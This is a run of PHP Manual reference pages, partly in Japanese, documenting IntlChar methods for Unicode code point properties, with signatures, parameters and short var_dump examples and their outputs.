  • IntlChar::iscntrl — Check if code point is a control character
  • IntlChar::isdefined — Check whether the code point is defined
  • IntlChar::isdigit — Check if code point is a digit character
  • IntlChar::isgraph — Check if code point is a graphic character
  • IntlChar::isIDIgnorable — Check if code point is an ignorable character
  • IntlChar::isIDPart — Check if code point is permissible in an identifier
  • IntlChar::isIDStart — Check if code point is permissible as the first character in an identifier
  • IntlChar::isISOControl — Check if code point is an ISO control code
  • IntlChar::isJavaIDPart — Check if code point is permissible in a Java identifier
  • IntlChar::isJavaIDStart — Check if code point is permissible as the first character in a Java identifier
  • IntlChar::isJavaSpaceChar — Check if code point is a space character according to Java
  • IntlChar::islower — Check if code point is a lowercase letter
  • IntlChar::isMirrored — Check if code point has the Bidi_Mirrored property
  • IntlChar::isprint — Check if code point is a printable character
  • IntlChar::ispunct — Check if code point is punctuation character
  • IntlChar::isspace — Check if code point is a space character
  • IntlChar::istitle — Check if code point is a titlecase letter
  • IntlChar::isUAlphabetic — Check if code point has the Alphabetic Unicode property
  • IntlChar::isULowercase — Check if code point has the Lowercase Unicode property
  • IntlChar::isupper — Check if code point has the general category "Lu" (uppercase letter)
  • IntlChar::isUUppercase — Check if code point has the Uppercase Unicode property
  • IntlChar::isUWhiteSpace — Check if code point has the White_Space Unicode property
  • IntlChar::isWhitespace — Check if code point is a whitespace character according to ICU
  • IntlChar::isxdigit — Check if code point is a hexadecimal digit
  • IntlChar::ord — Return Unicode code point value of character
  • IntlChar::tolower — Make Unicode character lowercase
  • IntlChar::totitle — Make Unicode character titlecase
  • IntlChar::toupper — Make Unicode character uppercase

User Contributed Notes

Hayley Watson 02-Jul-2018 12:28
The authoritative source on what these character classes mean is Unicode Standard "Unicode Character Database", documented at https://www.unicode.org/reports/tr44/ (see chapter 5).
Anonymous 19-Mar-2018 12:25
For a description of the constants, have a look into uchar.h documentation of the ICU4C API: http://icu-project.org/apiref/icu4c/uchar_8h.html


Get the "age" of the code point

  • ≪ IntlChar
  • IntlChar::charDigitValue ≫
  • PHP Manual
  • IntlChar
  • Get the "age" of the code point

IntlChar::charAge

(PHP 7)

IntlChar::charAge — Get the "age" of the code point

説明

public static IntlChar::charAge ( mixed $codepoint ) : array

Gets the "age" of the code point.

The "age" is the Unicode version when the code point was first designated (as a non-character or for Private Use) or assigned a character. This can be useful to avoid emitting code points to receiving processes that do not accept newer characters.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

The Unicode version number, as an array. For example, version 1.3.31.2 would be represented as [1, 3, 31, 2].

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::charage("\u{2603}"));
var_dump(IntlChar::charage("\u{1F576}"));
?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  int(1)
  [1]=>
  int(1)
  [2]=>
  int(0)
  [3]=>
  int(0)
}
array(4) {
  [0]=>
  int(7)
  [1]=>
  int(0)
  [2]=>
  int(0)
  [3]=>
  int(0)
}

参考

  • IntlChar::getUnicodeVersion() - Get the Unicode version
  • IntlChar::getIntPropertyMinValue() - Get the min value for a Unicode property
  • IntlChar::getIntPropertyValue() - Get the value for a Unicode property for a code point

User Contributed Notes

There are no user contributed notes for this page.


Get the decimal digit value of a decimal digit character

  • ≪ IntlChar::charAge
  • IntlChar::charDirection ≫
  • PHP Manual
  • IntlChar
  • Get the decimal digit value of a decimal digit character

IntlChar::charDigitValue

(PHP 7)

IntlChar::charDigitValue — Get the decimal digit value of a decimal digit character

説明

public static IntlChar::charDigitValue ( mixed $codepoint ) : int

Returns the decimal digit value of a decimal digit character.

Such characters have the general category "Nd" (decimal digit numbers) and a Numeric_Type of Decimal.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

The decimal digit value of codepoint, or -1 if it is not a decimal digit character.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::charDigitValue("1"));
var_dump(IntlChar::charDigitValue("\u{0662}"));
var_dump(IntlChar::charDigitValue("\u{0E53}"));
?>

上の例の出力は以下となります。

int(1)
int(2)
int(3)

参考

  • IntlChar::getNumericValue() - Get the numeric value for a Unicode code point

User Contributed Notes

There are no user contributed notes for this page.


Get bidirectional category value for a code point

  • ≪ IntlChar::charDigitValue
  • IntlChar::charFromName ≫
  • PHP Manual
  • IntlChar
  • Get bidirectional category value for a code point

IntlChar::charDirection

(PHP 7)

IntlChar::charDirection — Get bidirectional category value for a code point

説明

public static IntlChar::charDirection ( mixed $codepoint ) : int

Returns the bidirectional category value for the code point, which is used in the » Unicode bidirectional algorithm (UAX #9).

注意:

Some unassigned code points have bidi values of R or AL because they are in blocks that are reserved for Right-To-Left scripts.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

The bidirectional category value; one of the following constants:

  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT
  • IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER
  • IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR
  • IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_TERMINATOR
  • IntlChar::CHAR_DIRECTION_ARABIC_NUMBER
  • IntlChar::CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR
  • IntlChar::CHAR_DIRECTION_BLOCK_SEPARATOR
  • IntlChar::CHAR_DIRECTION_SEGMENT_SEPARATOR
  • IntlChar::CHAR_DIRECTION_WHITE_SPACE_NEUTRAL
  • IntlChar::CHAR_DIRECTION_OTHER_NEUTRAL
  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_EMBEDDING
  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_OVERRIDE
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ARABIC
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_EMBEDDING
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_OVERRIDE
  • IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_FORMAT
  • IntlChar::CHAR_DIRECTION_DIR_NON_SPACING_MARK
  • IntlChar::CHAR_DIRECTION_BOUNDARY_NEUTRAL
  • IntlChar::CHAR_DIRECTION_FIRST_STRONG_ISOLATE
  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_ISOLATE
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ISOLATE
  • IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_ISOLATE
  • IntlChar::CHAR_DIRECTION_CHAR_DIRECTION_COUNT

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::charDirection("A") === IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT);
var_dump(IntlChar::charDirection("\u{05E9}") === IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT);
var_dump(IntlChar::charDirection("+") === IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR);
var_dump(IntlChar::charDirection(".") === IntlChar::CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR);
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Find Unicode character by name and return its code point value

  • ≪ IntlChar::charDirection
  • IntlChar::charMirror ≫
  • PHP Manual
  • IntlChar
  • Find Unicode character by name and return its code point value

IntlChar::charFromName

(PHP 7)

IntlChar::charFromName — Find Unicode character by name and return its code point value

説明

public static IntlChar::charFromName ( string $characterName , int $nameChoice = IntlChar::UNICODE_CHAR_NAME ) : int

Finds a Unicode character by its name and returns its code point value.

The name is matched exactly and completely. If the name does not correspond to a code point, null is returned.

A Unicode 1.0 name is matched only if it differs from the modern name. Unicode names are all uppercase. Extended names are lowercase followed by an uppercase hexadecimal number, and within angle brackets.

パラメータ

characterName

Full name of the Unicode character.

nameChoice

Which set of names to use for the lookup. Can be any of these constants:

  • IntlChar::UNICODE_CHAR_NAME (default)
  • IntlChar::UNICODE_10_CHAR_NAME
  • IntlChar::EXTENDED_CHAR_NAME
  • IntlChar::CHAR_NAME_ALIAS
  • IntlChar::CHAR_NAME_CHOICE_COUNT

返り値

The Unicode value of the code point with the given name (as an int), or null if there is no such code point.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::charFromName("LATIN CAPITAL LETTER A"));
var_dump(IntlChar::charFromName("SNOWMAN"));
var_dump(IntlChar::charFromName("RECYCLING SYMBOL FOR TYPE-1 PLASTICS"));
var_dump(IntlChar::charFromName("A RANDOM STRING WHICH DOESN'T CORRESPOND TO ANY UNICODE CHARACTER"));
?>

上の例の出力は以下となります。

int(65)
int(9731)
int(9843)
bool(false)

参考

  • IntlChar::charName() - Retrieve the name of a Unicode character
  • IntlChar::enumCharNames() - Enumerate all assigned Unicode characters within a range

User Contributed Notes

There are no user contributed notes for this page.


Get the "mirror-image" character for a code point

  • ≪ IntlChar::charFromName
  • IntlChar::charName ≫
  • PHP Manual
  • IntlChar
  • Get the "mirror-image" character for a code point

IntlChar::charMirror

(PHP 7)

IntlChar::charMirror — Get the "mirror-image" character for a code point

説明

public static IntlChar::charMirror ( mixed $codepoint ) : mixed

Maps the specified character to a "mirror-image" character.

For characters with the Bidi_Mirrored property, implementations sometimes need a "poor man's" mapping to another Unicode character (code point) such that the default glyph may serve as the mirror-image of the default glyph of the specified character. This is useful for text conversion to and from codepages with visual order, and for displays without glyph selection capabilities.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns another Unicode code point that may serve as a mirror-image substitute, or codepoint itself if there is no such mapping or codepoint does not have the Bidi_Mirrored property.

戻り値の型は int になります。ただし、コードポイントを UTF-8 文字列で渡した場合は別で、その場合の返り値の型は文字列になります。

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::charMirror("A"));
var_dump(IntlChar::charMirror("<"));
var_dump(IntlChar::charMirror("("));
?>

上の例の出力は以下となります。

string(1) "A"
string(1) ">"
string(2) ")"

参考

  • IntlChar::isMirrored() - Check if code point has the Bidi_Mirrored property
  • IntlChar::PROPERTY_BIDI_MIRRORED

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the name of a Unicode character

  • ≪ IntlChar::charMirror
  • IntlChar::charType ≫
  • PHP Manual
  • IntlChar
  • Retrieve the name of a Unicode character

IntlChar::charName

(PHP 7)

IntlChar::charName — Retrieve the name of a Unicode character

説明

public static IntlChar::charName ( mixed $codepoint , int $nameChoice = IntlChar::UNICODE_CHAR_NAME ) : string

Retrieves the name of a Unicode character.

Depending on nameChoice, the resulting character name is the "modern" name or the name that was defined in Unicode version 1.0. The name contains only "invariant" characters like A-Z, 0-9, space, and '-'. Unicode 1.0 names are only retrieved if they are different from the modern names and if ICU contains the data for them.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

nameChoice

Which set of names to use for the lookup. Can be any of these constants:

  • IntlChar::UNICODE_CHAR_NAME (default)
  • IntlChar::UNICODE_10_CHAR_NAME
  • IntlChar::EXTENDED_CHAR_NAME
  • IntlChar::CHAR_NAME_ALIAS
  • IntlChar::CHAR_NAME_CHOICE_COUNT

返り値

The corresponding name, or an empty string if there is no name for this character, or null if there is no such code point.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::charName("."));
var_dump(IntlChar::charName(".", IntlChar::UNICODE_CHAR_NAME));
var_dump(IntlChar::charName("\u{2603}"));
var_dump(IntlChar::charName("\u{0000}"));
?>

上の例の出力は以下となります。

string(9) "FULL STOP"
string(9) "FULL STOP"
string(7) "SNOWMAN"
string(0) ""

参考

  • IntlChar::charFromName() - Find Unicode character by name and return its code point value
  • IntlChar::enumCharNames() - Enumerate all assigned Unicode characters within a range

User Contributed Notes

There are no user contributed notes for this page.


Get the general category value for a code point

  • ≪ IntlChar::charName
  • IntlChar::chr ≫
  • PHP Manual
  • IntlChar
  • Get the general category value for a code point

IntlChar::charType

(PHP 7)

IntlChar::charType — Get the general category value for a code point

説明

public static IntlChar::charType ( mixed $codepoint ) : int

Returns the general category value for the code point.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns the general category type, which may be one of the following constants:

  • IntlChar::CHAR_CATEGORY_UNASSIGNED
  • IntlChar::CHAR_CATEGORY_GENERAL_OTHER_TYPES
  • IntlChar::CHAR_CATEGORY_UPPERCASE_LETTER
  • IntlChar::CHAR_CATEGORY_LOWERCASE_LETTER
  • IntlChar::CHAR_CATEGORY_TITLECASE_LETTER
  • IntlChar::CHAR_CATEGORY_MODIFIER_LETTER
  • IntlChar::CHAR_CATEGORY_OTHER_LETTER
  • IntlChar::CHAR_CATEGORY_NON_SPACING_MARK
  • IntlChar::CHAR_CATEGORY_ENCLOSING_MARK
  • IntlChar::CHAR_CATEGORY_COMBINING_SPACING_MARK
  • IntlChar::CHAR_CATEGORY_DECIMAL_DIGIT_NUMBER
  • IntlChar::CHAR_CATEGORY_LETTER_NUMBER
  • IntlChar::CHAR_CATEGORY_OTHER_NUMBER
  • IntlChar::CHAR_CATEGORY_SPACE_SEPARATOR
  • IntlChar::CHAR_CATEGORY_LINE_SEPARATOR
  • IntlChar::CHAR_CATEGORY_PARAGRAPH_SEPARATOR
  • IntlChar::CHAR_CATEGORY_CONTROL_CHAR
  • IntlChar::CHAR_CATEGORY_FORMAT_CHAR
  • IntlChar::CHAR_CATEGORY_PRIVATE_USE_CHAR
  • IntlChar::CHAR_CATEGORY_SURROGATE
  • IntlChar::CHAR_CATEGORY_DASH_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_START_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_END_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_CONNECTOR_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_OTHER_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_MATH_SYMBOL
  • IntlChar::CHAR_CATEGORY_CURRENCY_SYMBOL
  • IntlChar::CHAR_CATEGORY_MODIFIER_SYMBOL
  • IntlChar::CHAR_CATEGORY_OTHER_SYMBOL
  • IntlChar::CHAR_CATEGORY_INITIAL_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_FINAL_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_CHAR_CATEGORY_COUNT

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::charType("A") === IntlChar::CHAR_CATEGORY_UPPERCASE_LETTER);
var_dump(IntlChar::charType(".") === IntlChar::CHAR_CATEGORY_OTHER_PUNCTUATION);
var_dump(IntlChar::charType("\t") === IntlChar::CHAR_CATEGORY_CONTROL_CHAR);
var_dump(IntlChar::charType("\u{2603}") === IntlChar::CHAR_CATEGORY_OTHER_SYMBOL);
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Return Unicode character by code point value

  • ≪ IntlChar::charType
  • IntlChar::digit ≫
  • PHP Manual
  • IntlChar
  • Return Unicode character by code point value

IntlChar::chr

(PHP 7)

IntlChar::chr — Return Unicode character by code point value

説明

public static IntlChar::chr ( mixed $codepoint ) : string

Returns a string containing the character specified by the Unicode code point value.

This function compliments IntlChar::ord().

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

A string containing the single character specified by the Unicode code point value.

例

例1 さまざまなコードポイントの例

<?php
$values = ["A", 63, 123, 9731];
foreach ($values as $value) {
    var_dump(IntlChar::chr($value));
}
?>

上の例の出力は以下となります。

string(1) "A"
string(1) "?"
string(1) "{"
string(3) "?"

参考

  • IntlChar::ord() - Return Unicode code point value of character
  • chr() - 数値から、1バイトの文字列を生成する

User Contributed Notes

There are no user contributed notes for this page.


Get the decimal digit value of a code point for a given radix

  • ≪ IntlChar::chr
  • IntlChar::enumCharNames ≫
  • PHP Manual
  • IntlChar
  • Get the decimal digit value of a code point for a given radix

IntlChar::digit

(PHP 7)

IntlChar::digit — Get the decimal digit value of a code point for a given radix

説明

public static IntlChar::digit ( string $codepoint , int $radix = 10 ) : int

Returns the decimal digit value of the code point in the specified radix.

If the radix is not in the range 2<=radix<=36 or if the value of codepoint is not a valid digit in the specified radix, false is returned. A character is a valid digit if at least one of the following is true:

  • The character has a decimal digit value. Such characters have the general category "Nd" (decimal digit numbers) and a Numeric_Type of Decimal. In this case the value is the character's decimal digit value.
  • The character is one of the uppercase Latin letters 'A' through 'Z'. In this case the value is c-'A'+10.
  • The character is one of the lowercase Latin letters 'a' through 'z'. In this case the value is ch-'a'+10.
  • Latin letters from both the ASCII range (0061..007A, 0041..005A) as well as from the Fullwidth ASCII range (FF41..FF5A, FF21..FF3A) are recognized.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

radix

The radix (defaults to 10).

返り値

Returns the numeric value represented by the character in the specified radix, or false if there is no value or if the value exceeds the radix.

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::digit("0"));
var_dump(IntlChar::digit("3"));
var_dump(IntlChar::digit("A"));
var_dump(IntlChar::digit("A", 16));
?>

上の例の出力は以下となります。

int(0)
int(3)
bool(false)
int(10)

参考

  • IntlChar::forDigit() - Get character representation for a given digit and radix
  • IntlChar::charDigitValue() - Get the decimal digit value of a decimal digit character
  • IntlChar::isdigit() - Check if code point is a digit character
  • IntlChar::PROPERTY_NUMERIC_TYPE

User Contributed Notes

There are no user contributed notes for this page.


Enumerate all assigned Unicode characters within a range

  • ≪ IntlChar::digit
  • IntlChar::enumCharTypes ≫
  • PHP Manual
  • IntlChar
  • Enumerate all assigned Unicode characters within a range

IntlChar::enumCharNames

(PHP 7)

IntlChar::enumCharNames — Enumerate all assigned Unicode characters within a range

説明

public static IntlChar::enumCharNames ( mixed $start , mixed $limit , callable $callback , int $nameChoice = IntlChar::UNICODE_CHAR_NAME ) : void

Enumerate all assigned Unicode characters between the start and limit code points (start inclusive, limit exclusive) and call a function for each, passing the code point value and the character name.

For Unicode 1.0 names, only those are enumerated that differ from the modern names.

パラメータ

start

The first code point in the enumeration range.

limit

One more than the last code point in the enumeration range (the first one after the range).

callback

The function that is to be called for each character name. The following three arguments will be passed into it:

  • int $codepoint - The numeric code point value
  • int $nameChoice - The same value as the nameChoice parameter below
  • string $name - The name of the character

nameChoice

Selector for which kind of names to enumerate. Can be any of these constants:

  • IntlChar::UNICODE_CHAR_NAME (default)
  • IntlChar::UNICODE_10_CHAR_NAME
  • IntlChar::EXTENDED_CHAR_NAME
  • IntlChar::CHAR_NAME_ALIAS
  • IntlChar::CHAR_NAME_CHOICE_COUNT

返り値

値を返しません。

例

例1 Enumerating over a sample range of code points

<?php
IntlChar::enumCharNames(0x2600, 0x2610, function($codepoint, $nameChoice, $name) {
    printf("U+%04x %s\n", $codepoint, $name);
});
?>

上の例の出力は以下となります。

U+2600 BLACK SUN WITH RAYS
U+2601 CLOUD
U+2602 UMBRELLA
U+2603 SNOWMAN
U+2604 COMET
U+2605 BLACK STAR
U+2606 WHITE STAR
U+2607 LIGHTNING
U+2608 THUNDERSTORM
U+2609 SUN
U+260a ASCENDING NODE
U+260b DESCENDING NODE
U+260c CONJUNCTION
U+260d OPPOSITION
U+260e BLACK TELEPHONE
U+260f WHITE TELEPHONE

参考

  • IntlChar::charName() - Retrieve the name of a Unicode character
  • IntlChar::charFromName() - Find Unicode character by name and return its code point value

User Contributed Notes

There are no user contributed notes for this page.


Enumerate all code points with their Unicode general categories

  • ≪ IntlChar::enumCharNames
  • IntlChar::foldCase ≫
  • PHP Manual
  • IntlChar
  • Enumerate all code points with their Unicode general categories

IntlChar::enumCharTypes

(PHP 7)

IntlChar::enumCharTypes — Enumerate all code points with their Unicode general categories

説明

public static IntlChar::enumCharTypes ( callable $callback ) : void

Enumerates efficiently all code points with their Unicode general categories. This is useful for building data structures, for enumerating all assigned code points, etc.

For each contiguous range of code points with a given general category ("character type"), the callback function is called. Adjacent ranges have different types. The Unicode Standard guarantees that the numeric value of the type is 0..31.

パラメータ

callback

The function that is to be called for each contiguous range of code points with the same general category. The following three arguments will be passed into it:

  • int $start - The starting code point of the range
  • int $end - The ending code point of the range
  • int $name - The category type (one of the IntlChar::CHAR_CATEGORY_* constants)

返り値

値を返しません。

例

例1 Enumerating over a sample range of code points

<?php
IntlChar::enumCharTypes(function($start, $end, $type) {
    printf("U+%04x through U+%04x are in category %d\n", $start, $end, $type);
});
?>

上の例の出力は以下となります。

U+0000 through U+0020 are in category 15
U+0020 through U+0021 are in category 12
U+0021 through U+0024 are in category 23
U+0024 through U+0025 are in category 25
U+0025 through U+0028 are in category 23
U+0028 through U+0029 are in category 20
U+0029 through U+002a are in category 21
U+002a through U+002b are in category 23
U+002b through U+002c are in category 24
U+002c through U+002d are in category 23
U+002d through U+002e are in category 19
U+002e through U+0030 are in category 23
U+0030 through U+003a are in category 9
...

User Contributed Notes

There are no user contributed notes for this page.


Perform case folding on a code point

  • ≪ IntlChar::enumCharTypes
  • IntlChar::forDigit ≫
  • PHP Manual
  • IntlChar
  • Perform case folding on a code point

IntlChar::foldCase

(PHP 7)

IntlChar::foldCase — Perform case folding on a code point

説明

public static IntlChar::foldCase ( mixed $codepoint , int $options = IntlChar::FOLD_CASE_DEFAULT ) : mixed

The given character is mapped to its case folding equivalent; if the character has no case folding equivalent, the character itself is returned.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

options

Either IntlChar::FOLD_CASE_DEFAULT (default) or IntlChar::FOLD_CASE_EXCLUDE_SPECIAL_I.

返り値

Returns the Simple_Case_Folding of the code point, if any; otherwise the code point itself.

User Contributed Notes

There are no user contributed notes for this page.


Get character representation for a given digit and radix

  • ≪ IntlChar::foldCase
  • IntlChar::getBidiPairedBracket ≫
  • PHP Manual
  • IntlChar
  • Get character representation for a given digit and radix

IntlChar::forDigit

(PHP 7)

IntlChar::forDigit — Get character representation for a given digit and radix

説明

public static IntlChar::forDigit ( int $digit , int $radix = 10 ) : int

Determines the character representation for a specific digit in the specified radix.

If the value of radix is not a valid radix, or the value of digit is not a valid digit in the specified radix, the null character (U+0000) is returned.

The radix argument is valid if it is greater than or equal to 2 and less than or equal to 36. The digit argument is valid if 0 <= digit < radix.

If the digit is less than 10, then '0' + digit is returned. Otherwise, the value 'a' + digit - 10 is returned.

パラメータ

digit

The number to convert to a character.

radix

The radix (defaults to 10).

返り値

The character representation (as a string) of the specified digit in the specified radix.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::forDigit(0));
var_dump(IntlChar::forDigit(3));
var_dump(IntlChar::forDigit(3, 10));
var_dump(IntlChar::forDigit(10));
var_dump(IntlChar::forDigit(10, 16));
?>

上の例の出力は以下となります。

int(48)
int(51)
int(51)
int(0)
int(97)

参考

  • IntlChar::digit() - Get the decimal digit value of a code point for a given radix
  • IntlChar::charDigitValue() - Get the decimal digit value of a decimal digit character
  • IntlChar::isdigit() - Check if code point is a digit character
  • IntlChar::PROPERTY_NUMERIC_TYPE

User Contributed Notes

There are no user contributed notes for this page.


Get the paired bracket character for a code point

  • ≪ IntlChar::forDigit
  • IntlChar::getBlockCode ≫
  • PHP Manual
  • IntlChar
  • Get the paired bracket character for a code point

IntlChar::getBidiPairedBracket

(PHP 7)

IntlChar::getBidiPairedBracket — Get the paired bracket character for a code point

説明

public static IntlChar::getBidiPairedBracket ( mixed $codepoint ) : mixed

Maps the specified character to its paired bracket character.

For Bidi_Paired_Bracket_Type!=None, this is the same as IntlChar::charMirror(). Otherwise codepoint itself is returned.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns the paired bracket code point, or codepoint itself if there is no such mapping.

戻り値の型は int になります。ただし、コードポイントを UTF-8 文字列で渡した場合は別で、その場合の返り値の型は文字列になります。

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::getBidiPairedBracket(91));
var_dump(IntlChar::getBidiPairedBracket('['));
?>

上の例の出力は以下となります。

int(93)
string(1) "]"

参考

  • IntlChar::charMirror() - Get the "mirror-image" character for a code point
  • IntlChar::PROPERTY_BIDI_PAIRED_BRACKET
  • IntlChar::PROPERTY_BIDI_PAIRED_BRACKET_TYPE

User Contributed Notes

There are no user contributed notes for this page.


Get the Unicode allocation block containing a code point

  • ≪ IntlChar::getBidiPairedBracket
  • IntlChar::getCombiningClass ≫
  • PHP Manual
  • IntlChar
  • Get the Unicode allocation block containing a code point

IntlChar::getBlockCode

(PHP 7)

IntlChar::getBlockCode — Get the Unicode allocation block containing a code point

説明

public static IntlChar::getBlockCode ( mixed $codepoint ) : int

Returns the Unicode allocation block that contains the character.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns the block value for codepoint. See the IntlChar::BLOCK_CODE_* constants for possible return values.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::getBlockCode("A") === IntlChar::BLOCK_CODE_BASIC_LATIN);
var_dump(IntlChar::getBlockCode("Φ") === IntlChar::BLOCK_CODE_GREEK);
var_dump(IntlChar::getBlockCode("\u{2603}") === IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS);
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Get the combining class of a code point

  • ≪ IntlChar::getBlockCode
  • IntlChar::getFC_NFKC_Closure ≫
  • PHP Manual
  • IntlChar
  • Get the combining class of a code point

IntlChar::getCombiningClass

(PHP 7)

IntlChar::getCombiningClass — Get the combining class of a code point

説明

public static IntlChar::getCombiningClass ( mixed $codepoint ) : int

Returns the combining class of the code point.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns the combining class of the character.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::getCombiningClass("A"));
var_dump(IntlChar::getCombiningClass("\u{0334}"));
var_dump(IntlChar::getCombiningClass("\u{0358}"));
?>

上の例の出力は以下となります。

int(0)
int(1)
int(232)

User Contributed Notes

There are no user contributed notes for this page.


Get the FC_NFKC_Closure property for a code point

  • ≪ IntlChar::getCombiningClass
  • IntlChar::getIntPropertyMaxValue ≫
  • PHP Manual
  • IntlChar
  • Get the FC_NFKC_Closure property for a code point

IntlChar::getFC_NFKC_Closure

(PHP 7)

IntlChar::getFC_NFKC_Closure — Get the FC_NFKC_Closure property for a code point

説明

public static IntlChar::getFC_NFKC_Closure ( mixed $codepoint ) : string

Gets the FC_NFKC_Closure property string for a character.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns the FC_NFKC_Closure property string for the codepoint, or an empty string if there is none.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::getFC_NFKC_Closure("\u{2121}"));
var_dump(IntlChar::getFC_NFKC_Closure("\u{1D2D}"));
?>

上の例の出力は以下となります。

string(3) "tel"
string(2) "a"

User Contributed Notes

There are no user contributed notes for this page.


Get the max value for a Unicode property

  • ≪ IntlChar::getFC_NFKC_Closure
  • IntlChar::getIntPropertyMinValue ≫
  • PHP Manual
  • IntlChar
  • Get the max value for a Unicode property

IntlChar::getIntPropertyMaxValue

(PHP 7)

IntlChar::getIntPropertyMaxValue — Get the max value for a Unicode property

説明

public static IntlChar::getIntPropertyMaxValue ( int $property ) : int

Gets the maximum value for an enumerated/integer/binary Unicode property.

パラメータ

property

調べたい Unicode プロパティ (定数 IntlChar::PROPERTY_* を参照ください)。

返り値

The maximum value returned by IntlChar::getIntPropertyValue() for a Unicode property. <=0 if the property selector is out of range.

例

例1 さまざまなプロパティの例

<?php
var_dump(IntlChar::getIntPropertyMaxValue(IntlChar::PROPERTY_BIDI_CLASS));
var_dump(IntlChar::getIntPropertyMaxValue(IntlChar::PROPERTY_SCRIPT));
var_dump(IntlChar::getIntPropertyMaxValue(IntlChar::PROPERTY_IDEOGRAPHIC));
var_dump(IntlChar::getIntPropertyMaxValue(999999999)); // Some made-up value
?>

上の例の出力は以下となります。

int(22)
int(166)
int(1)
int(-1)

参考

  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::getIntPropertyMinValue() - Get the min value for a Unicode property
  • IntlChar::getIntPropertyValue() - Get the value for a Unicode property for a code point
  • IntlChar::getUnicodeVersion() - Get the Unicode version

User Contributed Notes

There are no user contributed notes for this page.


Get the min value for a Unicode property

